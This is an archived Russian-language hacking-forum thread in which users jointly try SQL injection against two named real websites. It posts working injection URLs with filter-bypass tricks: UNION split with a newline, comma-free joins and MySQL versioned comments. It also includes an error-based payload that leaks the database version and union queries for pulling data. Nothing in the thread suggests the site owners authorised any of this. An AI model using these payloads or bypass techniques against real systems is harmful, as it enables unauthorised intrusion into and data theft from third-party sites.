ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
24.11.2013, 16:57
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от winstrool
winstrool said:
Вылажите ссылку уязвимую сего хостинга, а потестив люди скажут, что да как...
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+orde r+by+6--+f
|
|
|
24.11.2013, 19:42
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от kingbeef
kingbeef said:
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+orde r+by+6--+f
Итак, что у нас фильтруется:
1) Скобки;
2) Знак равенства;
3) Выполнение кода в комментариях /*! */ (хотя тут не совсем так)
4) &&
Не фильтрует and, or
Легитимные запросы
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+||+1 %3E1+--+
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+and+ 2%3E1+--+
Копаю дальше.
|
|
|
|
25.11.2013, 17:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
132418
Репутация:
652
|
|
Сообщение от kingbeef
kingbeef said:
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+orde r+by+6--+f
Что касается Вашего первого поста. Фильтр на связку union select можно обойти следующим способом:
Сообщение от None
UNION+--+%0DSELECT
Но до раскрутки еще далеко, вырезаюся запятые. Данный фильтр обходится созданием таблицы с помощью join:
Сообщение от None
UNION+--+%0DSELECT*FROM(select 1)a join(select 2)b join(select 3)c join(select 4)d join(select 5)e join(select 6)f
Но далее видим, что фильтруются парные скобки (), так что ничего полезного взять с этого с сайта не получится.
|
|
|
|
25.11.2013, 21:31
|
|
Guest
Сообщений: n/a
Провел на форуме:
94006
Репутация:
24
|
|
Не выкручивается, хоть ты тресни
Код:
Code:
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=-403+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+--+
|
|
|
|
25.11.2013, 22:14
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от Unknowhacker
Unknowhacker said:
Не выкручивается, хоть ты тресни
Код:
Code:
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=-403+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+--+
Тут блайнд везде. Вывод тоже не смог добиться
http://www.bch5.ru/index.phtml?topparam=22&prod_id=16264+and+1=2+unio n+select+111,222,333+--+
http://www.bch5.ru/index.phtml?topparam=20&scat=404&cat=40+and+1=1+un ion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 ,34,35,36,37,38,39,40,41,42,43+--+
|
|
|
|
25.11.2013, 22:18
|
|
Guest
Сообщений: n/a
Провел на форуме:
94006
Репутация:
24
|
|
Сообщение от BigBear
BigBear said:
Тут блайнд везде. Вывод тоже не смог добиться
http://www.bch5.ru/index.phtml?topparam=22&prod_id=16264+and+1=2+unio n+select+111,222,333+--+
http://www.bch5.ru/index.phtml?topparam=20&scat=404&cat=40+and+1=1+un ion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 ,34,35,36,37,38,39,40,41,42,43+--+
Код:
Code:
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20and%20(1,1)%3E(select%20count(*),concat((select%20version()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
Duplicate entry '4.1.25-log:0' - самая калечная версия
|
|
|
|
26.11.2013, 00:57
|
|
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756
Репутация:
0
|
|
hostgator.com
Как вариант ->
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=-20'+union/*!12345+select*/1/*!12345,*/2/*!12345,*/3/*!12345,*/@@version/*!12345,*/5/*!12345,*/6--+
--
http://www.bch5.ru
эрорбейс не самый удобный способ, лучше нормальный вывод:
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403 UNION SELECT 13717,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 ,34,35,36,37,38,39,40,41,42,43 limit 1,1--+1
|
|
|
|
26.11.2013, 15:45
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от KolosJey
KolosJey said:
hostgator.com
Как вариант ->
http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=-20'+union/*!12345+select*/1/*!12345,*/2/*!12345,*/3/*!12345,*/@@version/*!12345,*/5/*!12345,*/6--+
--
http://www.bch5.ru
эрорбейс не самый удобный способ, лучше нормальный вывод:
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403 UNION SELECT 13717,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 ,34,35,36,37,38,39,40,41,42,43 limit 1,1--+1
13717, что это за число, и как оно находится? объясните или дайте ссылку почитать
|
|
|
|
26.11.2013, 16:05
|
|
Guest
Сообщений: n/a
Провел на форуме:
182660
Репутация:
324
|
|
никак, заместо 13717 может быть любое число
|
|
|
|
26.11.2013, 16:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от psihoz26
psihoz26 said:
никак, заместо 13717 может быть любое число
не любое, например
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20UNION%20 SELECT%2013719,2,3,4,5,6,7,8,9,version(),11,12,13, 14,15,16,%2017,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33%20,34,35,36,37,38,39,40,41,42,43%20li mit%201,1--+1
такой вариант не проходит и почему пятизначное?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид